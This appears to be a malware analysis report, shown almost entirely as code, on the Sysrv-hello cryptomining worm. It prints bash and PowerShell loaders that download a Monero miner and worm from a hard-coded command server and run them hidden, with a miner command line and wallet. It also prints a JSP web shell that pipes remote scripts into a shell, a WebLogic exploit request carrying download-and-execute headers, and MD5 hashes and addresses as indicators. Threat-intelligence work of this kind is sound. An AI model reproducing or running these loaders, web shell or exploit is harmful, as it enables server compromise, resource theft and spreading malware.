Sysrv-hello 新型挖矿现身，阿里云 0 号恶意样本一手分析报告独家发布

Gateway 模块

Exp 模块

Work 模块

./tmp/network01 -B --donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux.

49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux

$cc = "http://185.239.242.71"

$is64 = (([Array](Get-WmiObject -Query "select AddressWidth from Win32_Processor"))[0].AddressWidth -eq 64)

$xmr = "$cc/xmr32.exe"

if ($is64) {

    $xmr = "$cc/xmr64.exe"

}

(New-Object Net.WebClient).DownloadFile($xmr, "$env:TMPnetwork01.exe")

if (!(Get-Process network01 -ErrorAction SilentlyContinue)) {

    Start-Process "$env:TMPnetwork01.exe" "--donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.w" -windowstyle hidden

}

(New-Object Net.WebClient).DownloadFile("$cc/sysrv.exe", "$env:TMPsysrv.exe")

Start-Process "$env:TMPsysrv.exe"  -windowstyle hidden

#!/bin/bash

cc='http://185.239.242.71'

get() {

    curl -fsSL "$1" > "$2" || wget -q -O - "$1" > "$2" || php -r "file_put_contents('$2', file_get_contents('$1'));"

    chmod +x "$2"

}

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /

# kill hich cpu usage proc

ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read pid; do

    cat /proc/$pid/cmdline | grep -a -E "sysrv|network01"

    if [ $? -ne 0 ]; then

        kill -9 $pid

    fi

done

ps -fe | grep network01 | grep -v grep

if [ $? -ne 0 ]; then

    echo "no miner runing"

    if [ $(getconf LONG_BIT) = '64' ]; then

        echo "downloading xmr64..."

        get "$cc/xmr64" network01

    else

        echo "downloading xmr32..."

        get "$cc/xmr32" network01

    fi

    nohup ./network01 1>/dev/null 2>&1 &

fi

ps -fe | grep sysrv | grep -v grep

if [ $? -ne 0 ]; then

    echo "no sysrv runing"

    get "$cc/sysrv" sysrv

    nohup ./sysrv 1>/dev/null 2>&1 &

fi

Mysql

Tomcat

<%@ page import="java.io.*" %>

<%

try {

    String w = request.getParameter("win");

    String l = request.getParameter("linux");

    String[] cw = {"cmd", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('" + w + "')"};

    String[] cl = {"bash", "-c", "(curl -fsSL " + l + " || wget -q -O - " + l + ") | bash"};

    if (System.getProperty("os.name").toLowerCase().contains("win")) {

        Runtime.getRuntime().exec(cw);

    } else {

        Runtime.getRuntime().exec(cl);

    }

} catch (IOException e) {}

// remove self

File f = new File(request.getSession().getServletContext().getRealPath("/"));

new File(f.getParent() + File.separator + f.getName() + ".war").delete();

out.print("1");

%>

WebLogic

GET /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String%%20cmd=req.getHeader("cmd");String[]%%20cmds=System.getProperty("os.name").toLowerCase().contains("win")?new%%20String[]{"cmd.exe","/c",req.getHeader("win")}:new%%20String[]{"/bin/sh","-c",req.getHeader("linux")};if(cmd!=null){String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%%5C%%5CA").next();weblogic.servlet.internal.ServletResponseImpl%%20res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.0

Host: %s:%d

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Connection: close

cmd: ls

linux: ( (curl -fsSL %s || wget -q -O - %s) | bash& )

win: start powershell iex(New-Object Net.WebClient).DownloadString('%s')

ead2cf8ab7aef63706b40eb57d668d0a

a45c5b97068a709c92aa2fb73cc39d29

bb15e4c273044a5e714acec991dde4b4

4736f80b88c60d2b650dd7273b437d0f

e7b1ee6578b88e1c2650982d35a0bbfc

e9317adace503cefa02007579eb1c621

ec773867cf1cc0479e57eae020f6f399

f4c90b41126fc17848bd0d131288bd36

58a05154e0a702843b8304ccfd79ba2f

7f9abe219ae8dd4e338bd2a9fcaf2e05

301a0a58dd98ecbbe12c6acbd0c7bbdc

030231d96234f06ae09ca18d621241e5

4b22a05d547d0345f91ba9f5fb1f012c

0af416fb7a7e164ddd90da14d116c07e

bbe3e53b19548d093c8405847828a64d

cae2b58fc73551901a70465fa46ea23c

d8816891b21d83c318818ebc32e9609d

642d73c85e6e79720a5ae7b82fc427c5

http://185[.]239[.]242[.]71/ldr.sh

http://185[.]239[.]242[.]71/ldr.ps1

http://185[.]239[.]242[.]71/sysrv.exe

http://185[.]239[.]242[.]71/sysrv